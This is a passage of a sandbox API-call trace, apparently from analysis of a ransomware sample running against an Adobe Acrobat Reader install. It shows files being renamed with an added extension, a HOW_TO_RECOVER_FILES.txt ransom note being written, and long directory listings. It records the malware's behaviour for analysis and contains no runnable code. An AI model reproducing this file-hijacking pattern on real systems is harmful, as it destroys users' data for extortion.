lpFilePart=0x0) returned 0x70 [0174.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edb50) returned 1 [0174.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\misc\\load-typekit.js"), fInfoLevelId=0x0, lpFileInformation=0x203edc30 | out: lpFileInformation=0x203edc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x647e5b12, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5a0)) returned 1 [0174.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edb10) returned 1 [0174.956] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\misc\\load-typekit.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\misc\\load-typekit.js.gоod")) returned 1 [0174.956] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0174.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edd50) returned 1 [0174.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\misc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0174.957] GetFileType (hFile=0x804) returned 0x1 [0174.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edcc0) returned 1 [0174.958] GetFileType (hFile=0x804) returned 0x1 [0174.958] WriteFile (in: hFile=0x804, lpBuffer=0x3535508*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ede18, lpOverlapped=0x0 | out: lpBuffer=0x3535508*, lpNumberOfBytesWritten=0x203ede18*=0x5d0, lpOverlapped=0x0) returned 1 [0174.959] CloseHandle (hObject=0x804) returned 1 [0174.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edde0) returned 1 [0174.959] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins", nBufferLength=0x105, lpBuffer=0x203ed880, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins", lpFilePart=0x0) returned 0x5e [0174.959] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\*", lpFindFileData=0x203edb00 | out: lpFindFileData=0x203edb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.961] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.962] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="add-account", cAlternateFileName="ADD-AC~1")) returned 1 [0174.962] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0174.962] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aicuc", cAlternateFileName="")) returned 1 [0174.962] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0174.962] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0174.963] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1 [0174.963] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1 [0174.963] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1 [0174.963] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig", cAlternateFileName="")) returned 1 [0174.963] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="editpdf", cAlternateFileName="")) returned 1 [0174.963] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1 [0174.963] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fss", cAlternateFileName="")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="home", cAlternateFileName="")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-computer", cAlternateFileName="MY-COM~2")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-computer-select", cAlternateFileName="MY-COM~1")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-files", cAlternateFileName="")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-files-select", cAlternateFileName="MY-FIL~1")) returned 1 [0174.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-recent-files", cAlternateFileName="MY-REC~2")) returned 1 [0174.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-recent-files-select", cAlternateFileName="MY-REC~1")) returned 1 [0174.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ob-preview", cAlternateFileName="OB-PRE~1")) returned 1 [0174.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on-boarding", cAlternateFileName="ON-BOA~1")) returned 1 [0174.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pages-app", cAlternateFileName="PAGES-~1")) returned 1 [0174.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sample-files", cAlternateFileName="SAMPLE~1")) returned 1 [0174.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan-files", cAlternateFileName="SCAN-F~1")) returned 1 [0174.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="send-for-sign", cAlternateFileName="SEND-F~1")) returned 1 [0174.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1 [0174.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 1 [0174.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 0 [0174.966] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edd20) returned 1 [0174.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edce0) returned 1 [0174.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edde0) returned 1 [0174.967] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins", nBufferLength=0x105, lpBuffer=0x203ed880, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins", lpFilePart=0x0) returned 0x5e [0174.967] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\*", lpFindFileData=0x203edb00 | out: lpFindFileData=0x203edb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="add-account", cAlternateFileName="ADD-AC~1")) returned 1 [0174.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0174.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aicuc", cAlternateFileName="")) returned 1 [0174.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0174.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0174.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1 [0174.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, 